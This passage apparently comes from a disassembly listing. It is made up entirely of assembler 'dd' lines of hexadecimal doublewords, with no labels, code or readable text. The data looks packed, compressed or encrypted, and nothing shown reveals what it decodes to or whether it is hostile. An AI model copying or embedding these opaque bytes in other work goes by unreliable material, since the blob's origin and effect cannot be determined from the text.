		dd 0FAD0413Eh, 3AE057CEh, 48992DE1h, 6A917B01h,	12693B65h
		dd 6813E59Ah, 0DBE93047h, 6E1AA7F4h, 3075011Dh,	0
		dd 3C30000h, 81401205h,	891D878h, 0E6D3109Ah, 520E0146h
		dd 6D0341D0h, 36814202h, 2008BE39h, 29018C47h, 420C39DBh
		dd 811C4763h, 6820201h,	42917480h, 4AA408A4h, 72631001h
		dd 8B121462h, 0E484040Ch, 59450C07h, 111CCD1h, 8A3C753h
		dd 2E042885h, 4120589h,	61441098h, 456B7238h, 16F62DCh
		dd 376C6573h, 0BD347620h, 8F5FCF1h, 652AC173h, 0CC692E72h
		dd 663C7163h, 6D751E6Fh, 34E30B7h, 8B414623h, 1C1CAD4Bh
		dd 242E644Ah, 596D9E5Dh, 0BE67076Eh, 78659CD4h,	697721B1h
		dd 0E174F3F7h, 20D36162h, 64035719h, 2073776Fh,	768C1D53h
		dd 419E3B63h, 176E1467h, 282D5270h, 8A79731Ch, 729642Eh
		dd 0EA2B782Dh, 66230A18h, 99985004h, 9178FCA1h,	38225809h
		dd 0C531844h, 7774666Fh, 5C0E65D4h, 0D463694Dh,	541D6FD3h
		dd 4307DE63h, 0BD1C7275h, 0FD4DF56h, 0DF1F6F69h, 8270FE52h
		dd 0A5E8301Dh, 0FDD74E4Dh, 4F0C383Ah, 5931454Ch, 4DEE54E4h
		dd 0BAEF3CACh, 6C3C6670h, 0B3CD070h, 104C12DEh,	88AC816h
		dd 98F88CACh, 0DC89E808h, 0CC24D412h, 0BC91C448h, 0A844B022h
		dd 48FC8BA0h, 2284918Ch, 6C70447Ch, 60126489h, 0E8050128h
		dd 543F43D7h, 50445C22h, 123C8944h, 48282430h, 22209124h
		dd 1418441Ch, 4120C89h,	2297FC23h, 0E844F408h, 12D089DCh
		dd 48C024C8h, 22B091B8h, 9A045A8h, 1132CF98h, 24880990h
		dd 0A1744880h, 116C19ACh, 0D4B1F264h, 5411995Ch, 44124C09h
		dd 3C484024h, 24223091h, 89101844h, 96FC1104h, 0F024F802h
		dd 0DC91E448h, 0CC44D422h, 12BC89C4h, 48B024B4h, 22A891ACh
		dd 9CA044A4h, 90129889h, 80488824h, 70227891h, 89646844h
		dd 99581260h, 4C125014h, 40484424h, 30223891h, 0A6202844h
		dd 10184454h, 0FC110889h, 22F00395h, 0DC44E809h, 12CC89D4h
		dd 48C024C4h, 22B491BCh, 98A444ACh, 23158889h, 113280B8h
		dd 246C0978h, 9154485Ch, 0A43C2240h, 113466CCh,	2C440930h
		dd 150C8918h, 0E408E823h, 94F80958h, 0C822F9DDh, 0DC91E409h
		dd 0D044D822h, 12C089C8h, 48B024B8h, 1F5CA9ACh,	714826A0h
		dd 323037C4h, 69690910h, 65D16192h, 6C347063h, 0DDA8C712h
		dd 78CCC224h, 7371707Fh, 2BD662E0h, 0DD871D24h,	29F6AB19h
		dd 6C33218h, 0F51870C0h, 99696BF0h, 19681AC9h, 6D651F60h
		dd 0BBEDED98h, 7170E641h, 49645C20h, 63C34058h,	26407369h
		dd 6D666268h, 0FEBB7288h, 1A47EB74h, 606A7177h,	0A4126F14h
		dd 1A2C145Ch, 31626440h, 34332A32h, 6108CD08h, 5228FF3Ch
		dd 776F2D65h, 2D51FA82h, 1C0F1114h, 94F61045h, 0B20C8426h
		dd 0B66351D4h, 0CEC40804h, 202DDA24h, 0C19101Dh, 0B45EC814h
		dd 0BC5CF1E2h, 52B3FB67h, 87F78BCh, 0C7207548h,	63736962h
		dd 66113F68h, 4D3094F7h, 1E1EA836h, 1CAB6777h, 756BD212h
		dd 0D974084Fh, 2A216E28h, 9A418CFAh, 8463AC67h,	0D411D80Ch
		dd 30A17972h, 10BC456Bh, 40910832h, 20978C68h, 53DBFB4Ah
		dd 6834387Ah, 0A4381F12h, 0F79FA894h, 0C6D7904Dh, 2E626542h
		dd 73480761h, 6D082A75h, 6D149B28h, 0A76BC238h,	0A0FC7048h
		dd 6F6A8872h, 0C5C86848h, 1824696Dh, 8BD4BC11h,	44938A66h
		dd 2EBA406Dh, 6246CF7Bh, 7110B81Ch, 0CC7A2877h,	0BE732CA1h
		dd 22F57536h, 30321AFCh, 93A4E602h, 84EF280Ch, 6B322308h
		dd 0CB383908h, 961925AEh, 0DAC6226Dh, 829A0819h, 56E10820h
		dd 687D0309h, 0C9CFAF9h, 984A6C94h, 0BC75363Dh,	0C675770h
		dd 90339269h, 0CD905249h, 8BF0277h, 3ABFA051h, 4D753FC8h
		dd 8569C6Bh, 4972B044h,	6E134674h, 1E387675h, 285E7651h
		dd 0EF743729h, 11963209h, 0A28D6C68h, 0BC117875h, 6484F7C0h
		dd 276F3064h, 20AADCFEh, 6C7362CAh, 3453F1A2h, 0BD332308h
		dd 0BD3123C7h, 809A4842h, 38373635h, 0C4BFF39h,	43388770h
		dd 23DC0890h, 8C704638h, 0DB2009DCh, 500EAC19h,	13647770h
		dd 804C429h, 0AE8D2864h, 0FC9AAE54h, 3C410C46h,	696DB2EFh
		dd 586232E8h, 241C6326h, 2D164FF4h, 66EC1814h, 32321FDh
		dd 65AD67DFh, 67505AE5h, 0F883E06Ch, 35686824h,	647532B1h
		dd 0C8516F39h, 99A146D6h, 677513C0h, 3EBF0E43h,	0DBD51CC8h
		dd 0E1E86638h, 9108C83Dh, 3CB6DE73h, 0C4EE7FEh,	9CD6EC51h
		dd 0D023901Ch, 5FF42C9Ah, 52498010h, 36762043h,	31322E1Dh
		dd 0AF104B92h, 0AC643EBEh, 0BD201A4Dh, 422D6D1Eh, 202979DCh
		dd 117E30C4h, 0CEFD3731h, 402A0A1Fh, 0ACC46992h, 34032D0Fh
		dd 6277202h, 0F3E3E4Fh,	94614620h, 0EAA7412Fh, 680FF8A9h
		dd 2C5E6333h, 10A308F6h, 3CF83AFBh, 3E386425h, 0CA34562Eh
		dd 0F5BB2453h, 35E36698h, 5C63FED2h, 583350DBh,	8A315A74h
		dd 702C9933h, 73637A8Ah, 41075C5Fh, 57462F56h, 9F966BF5h
		dd 0F661FF83h, 97649842h, 0A140236Ch, 944B1130h, 6D424CC4h
		dd 240946F2h, 2340C662h, 84B79042h, 27655A5Dh, 0DF25077Bh
		dd 229B92FBh, 0CA10E73h, 1406A25Ch, 0B7380FD0h,	124E105Fh
		dd 0A4051A9Fh, 3E449E33h, 49184E3Ch, 0D194B43h,	53550D0Ah
		dd 0F1135245h, 3A059430h, 50386111h, 1BC65341h,	4F4D5104h
		dd 0F514544h, 3A2F289Ch, 54AB4F48h, 0C4682111h,	3A539255h
		dd 158E2D8Bh, 87A8DD3Ah, 37507920h, 0BD9479E4h,	91C67094h
		dd 4E2AA240h, 834CB044h, 0AE4848E6h, 6662F478h,	0A228A079h
		dd 29062166h, 4F4E1459h, 8E43B654h, 23483A14h, 66144121h
		dd 90269134h, 0A4544395h, 541E60C9h, 908A59CBh,	5074977Ah
		dd 84419C6Bh, 0A95460B7h, 0EDCC0888h, 2B2C0FB1h, 80A14F50h
		dd 18277E79h, 871252CFh, 0C3F2DE50h, 0D9E56B3Fh, 1B2649C4h
		dd 59A15124h, 746822A6h, 0A1CB7283h, 284A6413h,	6C9D6DA3h
		dd 69A54E70h, 0DA33F329h, 934C7327h, 6F4AE36Ch,	263C1068h
		dd 0BA6C10B2h, 90B0BE23h, 0C9248F6Bh, 0E0028F92h, 58653A77h
		dd 0EE931C20h, 6D3E731Ah, 490A2616h, 2D3208BAh,	0FC912C36h
		dd 0A124D7BDh, 1C676F4Eh, 0FE402743h, 3B639666h, 0C6282EABh
		dd 7071E453h, 624644FBh, 0EF462851h, 0C847E7E1h, 663899E4h
		dd 2E2778E9h, 7C21A1DFh, 35D47313h, 0F27545D8h,	276E2664h
		dd 96B2341Ah, 26FB6816h, 0CD2443C5h, 20142D46h,	882B7A53h
		dd 9AD44E59h, 0BE2809BDh, 0D06AD3BEh, 0FA733D9Bh, 103264D3h
		dd 0F2E3E36Eh, 4E28B42Eh, 753C054Ch, 0F5718D70h, 9680263Eh
		dd 7E795435h, 1671FA71h, 8DF6C471h, 0B4C6B01Dh,	52308EA0h
		dd 0B6591C50h, 5AE0648Ah, 5C95015h, 302A4409h, 479A5046h
		dd 4129F847h, 44762320h, 655210D2h, 0E2FA5C6Dh,	6E2FB11Fh
		dd 69E657EBh, 595E2C2Eh, 25404F2Eh, 0CC7C884Ch,	20B976D1h
		dd 0CA327435h, 3729D390h, 7C8E0EAEh, 5584408Dh,	84DA4C52h
		dd 4972EE40h, 0BD9E9D63h, 4B9861AAh, 1C231173h,	2DCE6CF3h
		dd 366FCDEFh, 0A544725h, 3B646D63h, 28227359h, 45CA18D0h
		dd 3F514887h, 0B191D458h, 2ACC9E7Fh, 0A057915Ah, 0E568BB45h
		dd 35BE5252h, 237D9D82h, 2429A46Ch, 6455FA2Dh, 63C57463h
		dd 85E1C561h, 493F30EBh, 12B0766Eh, 1F49694Ah, 0D661AA72h
		dd 8F4B51A6h, 0EF899306h, 36BB76F1h, 300D90D1h,	407DD014h
		dd 6877BC18h, 6827D368h, 663FA3C4h, 6D414666h, 40BB62E5h
		dd 0C5402EABh, 732A3C41h, 18CEE2FBh, 158B79A6h,	90B43A85h
		dd 0A4AD9162h, 9ED1AC2Eh
		dd 57347CB4h, 0A1A355A7h, 802466E5h, 4434342Ah,	4E7C9B0h
		dd 2D7985A3h, 285AA17Dh, 0A37523F9h, 49C51AA6h,	6455C494h
		dd 30BCF219h, 0D1A6FCB0h, 89200AB1h, 637C6090h,	438D1CD0h
		dd 0B5F97EFBh, 0A86B3044h, 30903890h, 52A753B8h, 37E8F8A3h
		dd 51703C49h, 0A762E547h, 3808694Ah, 0B30DA418h, 0DA25F162h
		dd 296C78D5h, 2E46854Ch, 13B1C069h, 0CB4C4F2Eh,	9136142Ch
		dd 2141D1E4h, 48A62C63h, 657371E8h, 50E478A5h, 73C24897h
		dd 201C8867h, 0F415C5Eh, 0F6A41FD0h, 63798234h,	134A446Ch
		dd 0CE524150h, 6F4D86ECh, 7ACD96ECh, 2823287Bh,	4EB47CB6h
		dd 77FD3265h, 29571D7Ah, 0D11C43C1h, 901D4245h,	0A424D144h
		dd 2442CDB2h, 494F4A81h, 0DA90684Eh, 0A3947B18h, 49AA5A4h
		dd 0CD671561h, 0BC012833h, 0DEA4DA66h, 3C68FCCFh, 112C095Ah
		dd 5C662522h, 2C8E2D4Eh, 75A4A794h, 9F6989D2h, 0D93CE869h
		dd 0E20B4954h, 50B5EBE3h, 28CA6D70h, 2E295071h,	70E6D8BBh
		dd 0A564B956h, 77CBCB8Eh, 48916764h, 9674AF49h,	34905C8Eh
		dd 0A1A41842h, 2E79E87Ch, 36848BCh, 64383A93h, 85704A75h
		dd 0CC815672h, 44774976h, 10FF8C95h, 81AF9062h,	8BC666A7h
		dd 0E2E8A8D4h, 7CF5611Ah, 23C56B0Dh, 2E0FB125h,	2794484Ah
		dd 630A2BA9h, 483DC16Eh, 3C1AFD2Ah, 0A02C4429h,	0B1168462h
		dd 0EBD6A4B8h, 7F7EF46Ah, 17B238C8h, 52715963h,	659C1C3Eh
		dd 0D13D11C8h, 2E9E1250h, 6AB69C73h, 6EB6871Fh,	840C74DFh
		dd 43B46EF7h, 2C538A3Ch, 0EE49D7A9h, 3AB0AA33h,	0C9C859B8h
		dd 5217D46Dh, 1DF3E434h, 30C07D5Ah, 704B6D0Eh, 6D27053Dh
		dd 0A260D47Ah, 9BA967B2h, 0A0B11642h, 48385B30h, 3843FAADh
		dd 0E21275D3h, 15292C3Ch, 6FB4995Ch, 907DCEB3h,	0ED7C4D1Ah
		dd 43293C0Ah, 6F7AB2BFh, 3A73DDF2h, 0DBEE61DAh,	0CB38A984h
		dd 0BA6FF507h, 3823DDD0h, 2549D0A3h, 0E88F29F8h, 6C79DFDFh
		dd 71B4DDE4h, 3091672Fh, 6B1C7732h, 3848D0B7h, 0A6B235EBh
		dd 18D13D31h, 0BEEDC4E6h, 68456B2Fh, 78E85626h,	3EAF9F5Ch
		dd 0E4E95156h, 4D400EE9h, 3BA6A5A2h, 58459B69h,	0CB368AB6h
		dd 9B676308h, 4FCB1C48h, 7044E89Ch, 50574354h, 37E77D38h
		dd 0A7145833h, 0AD9D734Eh, 1CB314AFh, 386163D1h, 0E36FCD14h
		dd 4AB90D04h, 778630D1h, 25ACF669h, 28C925DFh, 0B82F516Dh
		dd 5D3C5B32h, 0D4D786AFh, 2A107361h, 1101B43h, 54434101h
		dd 932D4F49h, 6DFCBC7Ah, 35D9A4C1h, 0BD778276h,	0C83C2150h
		dd 0A58576A8h, 0FC1AAFE9h, 76226BD2h, 0CA8C7272h, 48F32D2Dh
		dd 8835DAF4h, 0E2CD3848h, 87538718h, 31AB97A6h,	58DC6144h
		dd 0F566696Fh, 81917216h, 22F01EB5h, 81458275h,	268A4525h
		dd 5CA0A15Ch, 0E3162C4Bh, 4550E50Bh, 342E94E9h,	584252AEh
		dd 5C635C2Fh, 6472D71Eh, 76C3E674h, 4BA19955h, 25938B94h
		dd 4247332Fh, 6E9305Dh,	73944928h, 0C6E92D47h, 16929535h
		dd 4879172h, 2172C227h,	65796214h, 613CAA3Dh, 69A8CC4Eh
		dd 642E02A0h, 70AD6C71h, 963E6425h, 0D36625D9h,	54CF2494h
		dd 0E1FCD185h, 47226C41h, 0A674CD4Dh, 4A7896F7h, 1962525Bh
		dd 0B0EC08C3h, 3A9379F6h, 0F68C6C69h, 76CCBB70h, 2A953886h
		dd 70E5C990h, 587E16BCh, 85B7E274h, 0A0105850h,	28917A69h
		dd 0C5448D32h, 1B484849h, 8858676Eh, 0E04DC92Fh, 0FB676124h
		dd 0B2672D3Bh, 0DE758133h, 736647D6h, 2A85796Ch, 0DAB84334h
		dd 43E50825h, 0B1E8B248h, 34476990h, 53164ECCh,	0D46D708Ah
		dd 0B0D35C5Ch, 0C4996B80h, 3909E02Fh, 376EFD78h, 546C6A5Ah
		dd 6521EC85h, 699AFCA9h, 69427C1Bh, 8AF1D23Ah, 4909FE2Ah
		dd 12504D43h, 959679CFh, 535BA776h, 53D476F0h, 8C5ED8BBh
		dd 3475AD38h, 2E817311h, 7215D9EFh, 0C22D9F21h,	9749551h
		dd 2FED6374h, 0B4381C52h, 70B5D5DCh, 7923B9Dh, 0B3FECA66h
		dd 6D222F4Eh, 70535568h, 0D46656CDh, 79C9B41Bh,	0D43ED089h
		dd 58C9724Fh, 6B684E6Fh, 7A3680Dh, 86748514h, 0EC9E174Dh
		dd 0BE526D65h, 65236E69h, 4B048B5Ah, 34186086h,	0F98A7224h
		dd 2D0A289Ah, 0A7CB4294h, 86AA0AF0h, 0E862D20h,	0B3802EB7h
		dd 6A62A005h, 4AC98116h, 0BC6C5BF2h, 0EE2E07E7h, 0C5D3650Bh
		dd 482BC22h, 640FB41Ah,	945E04D4h, 6508340Eh, 4968B919h
		dd 0E41AD370h, 42646B21h, 17933809h, 0E9B8A118h, 6DE06276h
		dd 1C291970h, 787E1CD0h, 5A04A25Fh, 29108631h, 0AF086D70h
		dd 196EF29Bh, 96301567h, 2C2D62F5h, 6A2E10D0h, 30310A54h
		dd 67644308h, 4450154Eh, 20AD2A0h, 1BCB0C74h, 9F79D370h
		dd 4CA6F22Fh, 9D79A7EDh, 4D2C4803h, 9050670h, 10A704A5h
		dd 927369E0h, 1B2849E4h, 5689292Bh, 16F53C84h, 0BDF89E18h
		dd 0CD1314Dh, 0EC9ABF7Bh, 0AA7E0C28h, 6C048140h, 0A541357Eh
		dd 89AC2F8h, 76F49114h,	9CB64892h, 567A104Dh, 4ECDD39h
		dd 99051728h, 5D58524Bh, 64F0604Eh, 68BA07FDh, 6104D1BCh
		dd 14D96219h, 5F487072h, 304D9452h, 662AF673h, 89BD1010h
		dd 0A98451A2h, 8A04A0CCh, 6A0C04E4h, 0B2622D5Dh, 48B10C0Eh
		dd 220C90B1h, 102EE96Dh, 72220C45h, 4977E181h, 79C808A8h
		dd 34B504A3h, 5552AA9Dh, 22222E29h, 2E2B618Dh, 615E3A13h
		dd 6BD091A5h, 85094FE7h, 70EFACA7h, 0A5E168E4h,	0CA84C608h
		dd 25886188h, 24BB06ECh, 0A007C7A7h, 0F66B76B9h, 0A72EF277h
		dd 2ED3261Ch, 0B06F5237h, 43837D3Fh, 55842C0Fh,	0D22AED73h
		dd 204784DEh, 294AA7D3h, 53E46C64h, 9911B3C4h, 203AE441h
		dd 8CD04142h, 95701990h, 0A79CF8C6h, 9E645125h,	9731461h
		dd 0BA6F5A67h, 0B25DFA88h, 876A341Eh, 726AC820h, 4C8DA746h
		dd 5472C424h, 0E6AA49FFh, 33690460h, 4D42B232h,	104D681Ah
		dd 242497EEh, 0D6B3C4Fh, 4A285C79h, 582FA5E9h, 4C2DE983h
		dd 343C0AB9h, 3057144Bh, 249163B6h, 4A5EE7B4h, 441FD2D9h
		dd 94F6DF55h, 0B7768447h, 7035863Ah, 92F37396h,	28AD2E3Ch
		dd 17A393E7h, 947969BDh, 0BF40844Ch, 78868C1Eh,	20A36D8Dh
		dd 215E734Bh, 388D5668h, 0FB18E72Fh, 215DA8BFh,	5C504A2Ch
		dd 28EE1C8Ah, 50243AF5h, 5050E172h, 10624F82h, 0F1D11645h
		dd 1E306DF4h, 0ADFA422Dh, 0F942401Bh, 0B97524B4h, 7C0AADDCh
		dd 0D879DD3h, 0B86D7F3Bh, 552300Bh, 0E31C34B4h,	5C0D45ECh
		dd 8BA34303h, 0F2761C32h, 685B6565h, 2914DA2Ch,	367AF3A5h
		dd 0DAFB873Ch, 0FDA3781Fh, 91303452h, 88E47200h, 1028208Bh
		dd 40D20472h, 6314488Ah, 0E17F046Dh, 0E854527Ah, 610DAE8h
		dd 0B7197610h, 11589C93h, 2B044165h, 0D267E0CCh, 1658840Dh
		dd 57725704h, 0CCC834C4h, 0CA47048h, 4C94889Dh,	46E648Ah
		dd 0E52E731Ch, 0B4F66F45h, 72CAF858h, 8CA2F04h,	32274851h
		dd 22187B54h, 471500Ch,	50FAD075h, 0D3932695h, 70667780h
		dd 58496A29h, 12A4586Eh, 4B47F8AFh, 0A2649388h,	72ACFEA3h
		dd 2E66E15Eh, 5758D002h, 0B092664Ch, 0C7AB67C1h, 4FD9144Ah
		dd 203F0F19h, 564952D4h, 47534D13h, 89496F2h, 0E3147829h
		dd 0AB6E6601h, 0E12CF556h, 0CD3B7601h, 18BCE2D3h, 2BB47D9Eh
		dd 0A1C78D13h, 0D2CC5609h, 84175F0Eh, 824EABBh,	68E11CB5h
		dd 3AFA9AD2h, 384834FFh, 0F8F94344h, 0D24E7745h, 515A121Ch
		dd 7090036Fh, 9B8C75Eh,	382FA6C9h, 64B9D2B7h, 69A0E4D3h
		dd 51A16891h, 3A971FA0h
		dd 0CE0C0942h, 0E1188660h, 4C163F4Dh, 46088A21h, 23EA960Ch
		dd 0F69A2538h, 0C887B814h, 0E429CEBFh, 0AA9B019h, 18639524h
		dd 5F2D0AB4h, 2B6D1274h, 0AD3E6AB8h, 95A044E9h,	32B536EEh
		dd 6D8E541Ch, 62B40A02h, 8F6D6EA6h, 98B91219h, 0CF222ECDh
		dd 0F182441h, 80CB4F14h, 0F8D1854Ah, 1B0DEDA2h,	42747B3Ah
		dd 0ABB9D240h, 4B35E697h, 0A75C755Bh, 0AD5988E9h, 14CE6724h
		dd 488FD62Ch, 0AD67BE75h, 71F14A12h, 5F62C425h,	0FC142465h
		dd 2C7DE464h, 57B91C04h, 0F76E6112h, 3C39415Ah,	64722D3Fh
		dd 840A92EBh, 0AD2A7003h, 0ADA8686Ch, 6C2B2E6Eh, 0E4697679h
		dd 58CD9570h, 59A768A1h, 0E5C3660h, 75C45EDDh, 25AB626Dh
		dd 0F530E903h, 52EA36C4h, 0B577E887h, 42331B51h, 4B9B52Ch
		dd 546854F1h, 0BD4D94D8h, 78720DC2h, 21AACF42h,	0EB629DF5h
		dd 5031B15Dh, 92ECD5EFh, 300F722Dh, 6D283AF9h, 0F66C2AFEh
		dd 4E2F405Ch, 0AC2F9B09h, 49290F37h, 0E87EB32Ch, 48B59042h
		dd 0C74A8F75h, 704FE3BEh, 1E80626Ah, 9960F14Bh,	2E763448h
		dd 0E128E509h, 0D43B42DFh, 58212B6Dh, 293F1757h, 0E095A1E1h
		dd 5A68C849h, 6D1431C0h, 1454A575h, 165BB64Ch, 0E492E372h
		dd 0D0A71A13h, 123C74A4h, 53F3B6FEh, 6E551574h,	9E225F1Ah
		dd 110ABA53h, 18926234h, 0B4D8BC64h, 0F7A523E3h, 403DA400h
		dd 0EDA49B38h, 9BE2D343h, 6F89A091h, 6ABD1043h,	0A43C9169h
		dd 9E5B656Ah, 46647098h, 71B62019h, 0D6B0E34Ah,	64AEEC34h
		dd 4B60A7B3h, 20F47CB3h, 49555180h, 294A545Ch, 0D621672h
		dd 6834BC0Ah, 7A359044h, 1B503412h, 18A1358Dh, 8AF56C12h
		dd 0C141100Bh, 28D09F2Fh, 30E5DF53h, 0C4953AEDh, 2E792FE0h
		dd 555D9D64h, 0DE6D3F04h, 2C46548Eh, 6ABA8D5Eh,	0CE2E842Dh
		dd 45D99698h, 9E105FFFh, 0A43CD01Ch, 0E37353AFh, 0ACE8D3CBh
		dd 98516225h, 78530872h, 0EDB9674Bh, 0F6FF1443h, 8C71B670h
		dd 2C288370h, 0F2F82E1Fh, 0CF747A62h, 662C074Bh, 0F9987E79h
		dd 47E73353h, 0D3C8571Bh, 5276F10Ah, 2E4B212Ah,	2BB434E6h
		dd 40ECD2A6h, 0DA3E22B9h, 0CF0ACB3Ch, 79F2240Ah, 20225A0Fh
		dd 0F6F06463h, 368B735Fh, 0AF07D5Fh, 92ED56BCh,	52E244E8h
		dd 0FB339C5Dh, 5D2E6152h, 0C7977CBCh, 61D3A5BEh, 527C48C8h
		dd 0ABE4AB61h, 902EA87Dh, 6F6270F4h, 48231C94h,	20131023h
		dd 4DA732B5h, 6C34E4EEh, 8215AA75h, 1654F463h, 50521413h
		dd 0B7A44FEFh, 482CA52Eh, 4A2CE81Ch, 7250A30Fh,	2D4D5154h
		dd 0A241122Ah, 0A87C423Fh, 534E2344h, 7C39425Bh, 955972F2h
		dd 0ABB15D3Fh, 74D63C46h, 0EA2C89B1h, 49E14754h, 747E3A50h
		dd 12FBADF6h, 0EC69616Eh, 64DC493Bh, 3AF2904Dh,	93763D3Ch
		dd 6526E244h, 120B797Eh, 6638B95Ch, 57A4785Eh, 4A9F3A3Ch
		dd 0EBA53399h, 2E45E5F9h, 2C33346Dh, 4AD8EDF4h,	3B6FFDB1h
		dd 0AE38D007h, 0D0D0DE4Eh, 17E8A53Ch, 88C1D2FBh, 22687571h
		dd 1469692Dh, 0E0646A52h, 6A6E807Dh, 0DD92FFh, 0AB04D43Eh
		dd 3CD0D46Fh, 0B5D4B24Ah, 95B675AAh, 1956E1ECh,	0E1607928h
		dd 0F7F34850h, 98474FCEh, 0DB454D0Eh, 3BCA78AEh, 7E271A7Fh
		dd 668B2D70h, 0E0C8395Ch, 0D98476E9h, 6B9AA272h, 0A832624Ah
		dd 11108D63h, 0A6702022h, 24CEB508h, 6E2DE091h,	9B148C00h
		dd 2308236Ch, 0DD913716h, 9E8A6956h, 665935A8h,	0D4345BF0h
		dd 0C64FCD4h, 1470E70Ah, 67620CE8h, 2CA8D963h, 0E84F4BE3h
		dd 61E060C9h, 24139F62h, 55E12071h, 2D3CDE21h, 75D8924Ch
		dd 0BA72415h, 30A444B0h, 742A453Ch, 89C3E79h, 9A6B2CE8h
		dd 0B926D050h, 7320CDB4h, 44B3D2B5h, 0C3C46427h, 4A13B8E7h
		dd 0B07E8D9h, 0D66B3FDDh, 0E4861118h, 3A1121F1h, 0BCA86C8Dh
		dd 7521C5CDh, 94041270h, 9084E860h, 9789D2ECh, 0B70399Ah
		dd 1936C451h, 276AFD7Ch, 969C6D6h, 743E3CD1h, 0AC419D6h
		dd 34210C54h, 29940967h, 619BC6E8h, 220B0D41h, 71C94FD4h
		dd 4A0B8407h, 0ADB54E5Dh, 739CA418h, 0DBF73851h, 0D2B0B3C5h
		dd 1E41C4DBh, 212D6C54h, 10A53209h, 4BA56D4Bh, 0E45E73FAh
		dd 13754C6Eh, 0B319D271h, 0A8964AC2h, 5B829E08h, 0C03D715Fh
		dd 6984387Dh, 40D91773h, 62630C11h, 86924A46h, 17CAB726h
		dd 0C8111112h, 2B0B4972h, 1919349Dh, 0DC25081Dh, 397E0C19h
		dd 6F53C1C8h, 2025A064h, 0B0DFB156h, 0CA98BC70h, 2114A190h
		dd 30D32526h, 0B743494Ch, 1412B432h, 8AA74913h,	68B44A09h
		dd 8B086914h, 0B8652D09h, 0BACB74A1h, 0A1586574h, 7564AF1Ch
		dd 75290C86h, 0F8241764h, 5B4B16C8h, 970D22BCh,	0A5AC6047h
		dd 20D9CE38h, 1B4683A7h, 7F79EDF3h, 1293F02Dh, 42DCCA6Ch
		dd 2A7D4250h, 2D950C57h, 8A3A7BDCh, 75209A30h, 8056313Ah
		dd 0CE2CF1EBh, 1911500Dh, 0B82D7F19h, 44551885h, 65307450h
		dd 2E483994h, 0F0B44099h, 15256411h, 0EBB41C14h, 55211876h
		dd 4F1D0C54h, 29B0646Eh, 0F8296F50h, 1853399Bh,	0A42C109Ch
		dd 2C2D1C24h, 250E290Dh, 544C436Ah, 0E1E344E0h,	6F215953h
		dd 9745B036h, 116E1445h, 16BDE0A6h, 2DCC8DF4h, 1859549Bh
		dd 0E4295E80h, 9E7429A3h, 73086668h, 7372C8E7h,	54946BBCh
		dd 88DE3DD7h, 480C5968h, 19104D1Ch, 182B2A10h, 0CDF0354Ah
		dd 0C181D96h, 4BFD6271h, 75216414h, 846ACADh, 37D3124Ch
		dd 0C80E0A14h, 0F34249CAh, 0F97EF20Bh, 84141BCFh, 0F296C7B9h
		dd 3B6541F8h, 0F0501B64h, 7599DEF4h, 2C436453h,	0D4824E69h
		dd 0CBF2EDF6h, 9F80D836h, 0EE2435A5h, 828AD0Ah,	0C43B3325h
		dd 13B413FCh, 8BBD371Ch, 12CF01DCh, 25C23587h, 0D8048864h
		dd 6CAB6B65h, 5CD643CCh, 0A15B38F7h, 0C46BFE81h, 6F68FA03h
		dd 417A6972h, 9A3E4221h, 963443A0h, 996B84DDh, 905E38F6h
		dd 302DE431h, 9A758A3Ah, 0DAD4FB80h, 8979C36h, 43705986h
		dd 54412B48h, 0FF506928h, 0BA8454E5h, 14E80E64h, 3DD0D291h
		dd 4BBAD490h, 38FD67F3h, 5001F148h, 146F463Dh, 513DD413h
		dd 56B3200Dh, 2F5352C1h, 23678CC4h, 0D9CF110Ah,	0CC4A2319h
		dd 2E027DE5h, 0A094AC94h, 0C41EBF8h, 8F8503Eh, 32A93338h
		dd 18E5A774h, 0D204FB2Dh, 995B654Bh, 7B47CB7h, 2935336Fh
		dd 0DB27F471h, 5E08A0D0h, 4FCDA63Ah, 0B4FC48D4h, 7DE204A9h
		dd 35771E78h, 69BF714Bh, 341994ECh, 405270C1h, 0E73020C8h
		dd 99335D1h, 0E454FC31h, 4F5063FEh, 0DB247FAh, 218367BBh
		dd 12200921h, 3918243Ah, 1C127F84h, 8D6A07A1h, 7BC3DACBh
		dd 705812FEh, 0E4418971h, 0B838D388h, 51A5DDCDh, 7D56A541h
		dd 76F9366Dh, 25492AE6h, 642803F3h, 444C5113h, 10408F8Eh
		dd 165CDF46h, 6CFFC348h, 0A11024BDh, 1945614Fh,	45218D11h
		dd 0AB785678h, 0FF733047h, 3F6E45E4h, 467F4176h, 2B914672h
		dd 7AB85343h, 0D662643Ch, 48530B72h, 44B95443h,	6641F04Eh
		dd 1221796Bh, 62520B64h, 0C6B91297h, 4B2D8674h,	665C457h
		dd 24636EBFh, 0DD884D86h, 17825732h, 9D419118h,	2D6964DCh
		dd 0D35414E8h, 15ADF152h, 33BB60h, 8347F649h, 35FFCDC1h
		dd 11515144h, 47F15425h, 3C5348B8h, 0D7F97368h,	2C308ABCh
		dd 46163344h, 0DF5297D2h, 0E709209Ah, 3E88A452h, 20A7415Fh
		dd 2D2B31EDh, 93142519h, 0C2D457BEh, 0B4D66C13h, 264C9721h
		dd 4975422Fh, 0D92A53CEh, 5B31A4ACh, 10C82748h,	5675DCCCh
		dd 0C3450C6Dh, 0E714181Dh
		dd 938C0C56h, 444F2954h, 0F0419A44h, 0D9925812h, 51535819h
		dd 44756496h, 620FC3E2h, 4A146F43h, 5D1497A5h, 0C3A3102Dh
		dd 952AA00Ch, 28A02247h, 0A4F1494Ah, 0CA45B008h, 0C9106FA2h
		dd 327314E1h, 4E219A42h, 69463489h, 0D424AE1Fh,	6F4D3C60h
		dd 0C028DE7Ah, 2E342F61h, 285E2030h, 694C8A59h,	0AA297624h
		dd 0B432FF48h, 14864C1Eh, 4E80A89Dh, 0AC5B2848h, 0F4555DF0h
		dd 1441526Ch, 0EAE9F1D3h, 141E139Ah, 19242487h,	489F24E8h
		dd 69CCD3BFh, 520850C0h, 34901473h, 3C911443h, 0EA3F478Ah
		dd 1CCA274Ch, 6A783D85h, 0DCF35F1Ch, 0FF37D072h, 49D863CAh
		dd 205B9D6Bh, 5CC4EC5Ah, 0FC5C6971h, 0DC7962E2h, 2966B4E2h
		dd 741E1410h, 112C6410h, 8C790C42h, 14577EFFh, 0B3D7E3BCh
		dd 6E4179A8h, 0A27738BDh, 0A7D45988h, 76F29C1Bh, 0C8C7252h
		dd 2020EE95h, 0BF836F74h, 0AF1C7ACh, 5F734408h,	8E6CF660h
		dd 0C1111082h, 169C5D5Fh, 0C3FF530Ch, 689CE785h, 0AB3A8528h
		dd 7A1D86Ch, 530584A6h,	93F14341h, 0AA705A20h, 4C1BA70Ch
		dd 0D92D9ADAh, 51102017h, 84083349h, 1D82E35Fh,	73494446h
